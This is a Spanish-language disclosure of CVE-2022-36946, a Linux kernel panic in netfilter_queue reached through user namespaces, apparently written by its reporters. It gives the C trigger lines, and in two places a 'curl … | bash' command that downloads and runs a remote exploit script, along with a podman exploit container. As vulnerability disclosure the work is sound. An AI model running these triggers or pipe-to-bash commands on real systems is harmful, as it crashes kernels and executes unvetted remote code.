
CVE-2022-36946 pánico del kernel de Linux en netfilter_queue
Reportado por: Domingo Dirutigliano y Nicola Guerrera
Mientras trabajábamos en firegex, nuestro firewall de aplicación para competiciones CTF Attack-Defence, nos topamos con algunos kernel panics.
Este extraño comportamiento fue luego aislado y analizado, llevando al descubrimiento de esta posible falla de seguridad en el módulo netfilter, específicamente con nfnetlink.
El kernel genera un panic al enviar un veredicto nf_queue con un atributo nfta_payload de 0 bytes.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Esto sucede porque la pila IP/IPv6 extrae el encabezado IP(v6) del paquete después del hook de entrada.
Así que, si el usuario trunca el paquete por debajo del tamaño del encabezado, este skb_pull() resultará en un skb malformado que generará un panic.
Pruébelo ejecutando curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash también con un usuario sin privilegios (más detalles abajo).
Usando namespaces de linux, en particular user namespaces (habilitado mediante kernel.unprivileged_userns_clone=1), un usuario normal puede crear un namespace de red, permitiéndole usar las mismas primitivas del kernel que desencadenan el panic.
Esto le permitirá usar la vulnerabilidad sin tener root.
Este escenario no es poco común: por ejemplo, podman usa esta opción para ejecutar sus contenedores (sin root), y en algunas distribuciones esta opción está habilitada por defecto.
También puede intentar ejecutar el exploit sin privilegios de root ejecutando:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
o si quiere probarlo sobre la marcha (solo se requieren tar y curl instalados):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Corregido en el kernel linux 5.19 ver diff
Parche original por el equipo de seguridad del kernel linux aquí
Funcionó en el sexto intento, así que mantuvimos el nombre.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing